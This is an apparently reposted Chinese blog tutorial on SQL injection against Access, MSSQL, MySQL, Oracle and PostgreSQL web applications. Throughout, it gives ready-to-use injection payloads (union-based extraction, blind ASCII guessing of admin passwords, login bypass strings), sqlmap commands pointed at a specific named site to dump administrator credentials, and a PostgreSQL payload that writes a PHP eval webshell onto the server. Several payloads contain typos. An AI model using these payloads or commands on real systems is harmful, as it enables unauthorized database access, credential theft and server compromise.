Web渗透测试(sql注入 access,mssql,mysql,oracle,)
Access數據庫注入:
?access數據庫由微軟發布的關系型數據庫(小型的),安全性差。
?access數據庫后綴名位*.mdb,
?asp中連接字符串應用——
?“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”
??Dim conn
??Set conn = server.createobject(“adodb.connection”)
??conn.open “provider=Microsoft.ACE.OLEDB.12.0;”?& “data source = ”?& server.mappath(“bbs.mdb”)
?
打開此數據庫的工具——
?破障瀏覽器,輔臣瀏覽器
?
注入分析——
判斷注入點(判斷有沒有帶入查詢)
,
and 1=1
and 1=2
or 1=1
or 1=2
and 1=23
?
查看是否帶入查詢,如果帶入查詢了,說明有注入漏洞
?
存在注入--判斷數據庫類型——
and exsits (select * from msysobjects) >0(判斷access)
and exsits (select * from sysobjects) >0(判斷SQL server)
?
?
判斷數據庫表
?and exists (select * from admin)(如果不存在admin表,可以試試user或者useradmin)
?
?
帶入查詢不報錯說明有admin表
?
?
and exists (select admin from admin)查詢是否有admin字段
?
and exists (select password from admin)查詢是否有password字段
?
?
判斷字段長度 order by 22
?
?
報錯 ?and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段長度)
?
?
and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(這樣就把用戶名密碼猜解出來了,再去md5解密即可)
?
?
?
示例:sqlmap注入access數據庫
?鏈接http://www.jnqtly.cn/cp11.asp?id=1129
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129
?
?
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129?--tables(爆表)
?
?
?
對file表進行猜解
sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file
?
?
對字段進行猜解
root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"
?
然后去解密即可
?
?
———————————————————————————————————————
?
Mssql(SQL server)數據庫注入:(中小型企業)
SQL server由微軟公司推出的關系型數據庫,支持對稱多處理器的結構 存儲過程,具有自主的sql語言,支持圖形化管理工具。
SQL server數據庫文件后綴位xxx.mdf,日志文件后綴為xxx_log.ldf
基礎語句select * from 表名(查詢)
???????sreate database 庫名(創建)
?????????drop database 庫明(刪除庫)
權限——
??sa權限:數據庫操作,文件管理,命令執行,注冊表讀取等system
??db權限:文件管理,數據庫操作等 users-adminstrators
??public權限:數據庫操作 guest-users
?
調用分析——
??<% set conn =server.crateobiect(“adodb.connection”)
conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”
%>
?
注入語句:
?判斷是否有注入——
and (select Count(*) from [表名])>0(猜解表名)
??and (select Count(字段名) from 表名)>0(猜測字段)
??and (select top 1 len(字段名) from 表名)>0(猜測字段長度)
?
初步判斷是否是mssql(SQL server)——
and user > 0
?
判斷數據庫系統——
and (select count(*) from sysobiects)> 0 mssql
and (select count(*) from msysobiects)> 0 access
?
?
實例:(其實建議手工測試,雖然工具跑得快,但是還是手工可以)
?用穿山甲測試
?
?
可直接寫入一句話木馬
?
?
Sa權限可直接提權
?
?
如果命令不生效可先恢復一下spoa換一下類型
?
—————————————————————————————————————————
?
Mysql數據庫注入:(中小型企業)
??瑞典推出的關系型數據庫,現在已經被甲骨文公司收購,搭配php+apache+mysql
?
Mysql函數——
?systm_user() 系統用戶名
?user() 用戶名
?current_use() 連接數據庫的用戶名
?database() 數據庫名
?version() MySQL數據庫版本
?load_file() 轉成16進制或者是10進制mysql讀取本地文件的函數
?@@datadir 讀取數據庫路徑
?@@basedir 讀取MySQL安裝路徑
?@@version_comoile_os 判斷操作系統
?
PHP+MySQL鏈接——
?<?php
$host=’localhost’; 數據庫地址
$database=’sui’; 數據庫名稱
$user=’root’; 數據庫賬戶
$pass=’’; 數據庫密碼
$webml=’/0/’; 安裝文件夾
?>
?
?判斷字段長度——
??order by xx
??order by 21 正常,order by 22不正常,說明長度為21
??union secect 1-18 from information_schema.tables(報出錯誤)
?
示例:(MySQL5.0以上的版本)
先判斷是否存在注入,and不行試試其他or之類的,然后判斷字段長度
?
?
爆出錯誤2和3
?
在報錯位置查詢想要的信息
猜解用戶名
http://xxxx.xx.com/xxxxx/php?id=-5union secect ?1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables
?
?
?
猜解數據庫名
http://xxxx.xx.com/xxxxx/php?id=-5?union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables
?
?
猜解表名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables ?where_schema=0x6469616E(把庫名轉換成16進制)
?
?
爆出表名,爆出來后可以一個一個去嘗試
?
?
?
猜解列名
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名轉換成16進制)
?
?
猜解字段
http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一個\的16進制)
?
?
爆出管理員賬號密碼
?
?
?
—————————————————————————————————————————
?
?
Oracle數據庫注入:(大型企業,政府,金融,證券)
?Oracle數據庫由美國甲骨文公司推出的,以分布式數據庫為核心,是目前世界上使用最廣范的數據庫管理系統,支持多用戶,事物的處理,移植性強。
?
Oracle數據庫代碼分析——
????id = request.getParameter(“id”);
String strSQL = “select title,content from news where id=”?+ id;
ResultSet rs = strt.executeQuery(strSQL);
while(rs.next())
{
String title = rs.getString(“time”);
String content = rs.getString(“conntent”);
Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>”?+ content + “</td></tr>”);
}
?
?
?
示例:
猜解表名,存在則不報錯and (select count(*) from admin)<>0
?
?
猜解user列名,存在則不報錯and (select count(user) from admin)<>0
?
?
猜解pwd列名,存在則不報錯and (select count(pwd) from admin)<>0
?
?
判斷長度and (select count(*) from admin where length(name)>=5)=1(length()函數用于字符串長度,此處猜測用戶名長度和5比較,意思就是猜測是否由5個字符組成)
?
?
猜解第一個位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函數用于截取字符串,ascii()函數用于獲取字符的ascii碼,此處的意思是截取name字段的第一個字符,獲取它的ascii碼值,查詢ascii碼表可知97為字符a)
?
猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重復以上操作,去配對ascii碼表,可以判斷賬號為admin)
?
?
相同方式猜解密碼;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密碼長度為8
?
?
?
?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a)
?
?
?猜解第一位and (select count(*) from admin where length(name)>=5)=1 ?and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符為a)(重復以上操作,去配對ascii碼表,可以判斷賬號為admin888)
?
?
?
?ascii表
?
?
測試登陸
?
———————————————————————————————————————
?
Postgresql注入:(國內用的比較少)
?
?
示例:
http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(version() as int)(獲取數據庫版本信息,系統信息)
?
?
http://www.xxx.jp/xxx/xx/php?id=307?and 1=cast(user||123 as int)(獲取當前用戶名稱,Postgres用戶相當于root用戶權限)
?
?
?http://www.xxx.jp/xxx/xx/php?id=307?;create table xxx(w text not null);(創建表x)
?
?
插馬——
??http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句話木馬)
?
?
寫文件——
??http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(將一句話木馬保存為xxx.php文件,執行后用菜刀鏈接,然后上傳webshll)
?
?——————————————————————————————————————————————————
?
提交方式注入:
?Get——
??get注入比較常見,如www.xxx.com/xx.asp?id=1
?
?Post——
??post提交方式主要適用于表單的提交,用于登錄框的注入,如www.xxx.com/admin.php
?
?判斷方式——
??在登陸框鍵入 ‘or’=1 ?
示例:(穿山甲跑)
加載表單
?
?
把后臺地粘貼上,開始跑
?
?
加載表單
?
?
它會默認把表單提交到根路勁,需要把它改成登陸路勁
?
?
?
Sqlmap跑——
示例:
加上根目錄路徑,然后在往下操作
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dbs
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--tables -D “列名”
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--columns -T “表名”?-D “列名”
sqlmap -u http://www.xxxx.com/login.asp?--data “xxxxxxx=1”?--dump ?-C “user,pass”?-T “表名”?-D “列名”
?
Cookie——
cookie提交用于賬號密碼的cookie緩存,還可以通過cookie注入來突破簡單的防注入系統
?示例:
?
?
?
———————————————————————————————————————
?
搜索框注入:
?使用的工具——burpsuite,sqlmap
?思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑
?
?示例:sqlmap -r xx.txt --tables(猜表名)
???????sqlmap -r xx.txt --columns -T “admin”(猜列名)
???????sqlmap -r xx.txt --C “admin,password”?-T “manager”?--dump -v 2(列內容)
?
找到搜索框
?
?抓包
?
再跑sqlmap
?
————————————————————————————————————————————————
?
偽靜態注入:
??網站管理員耍小聰明,看著是靜態頁面,其實是動態頁面
??如http://www.xxx.com/xxxx/xxx/xxx.html
?
判斷——
?http://www.xxx.com/index.php?返回正常說明是php寫的 ?(index.asp,index.jsp)
?
示例——
http://www.xxxx.cn/xxx_99,html(把偽靜態鏈接構造成動態腳本語言)
http://www.xxxx.cn/xx.php?id=99?(asp?id= ??jsp?id= ?aspx?id= ?不報錯說明就是此語言)
?
轉載于:https://www.cnblogs.com/Hydraxx/p/8516689.html
總結
以上是生活随笔為你收集整理的Web渗透测试(sql注入 access,mssql,mysql,oracle,)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 开螺蛳粉店需要准备什么 进来看一看有
- 下一篇: (四)创建ROS程序包(就是软件包)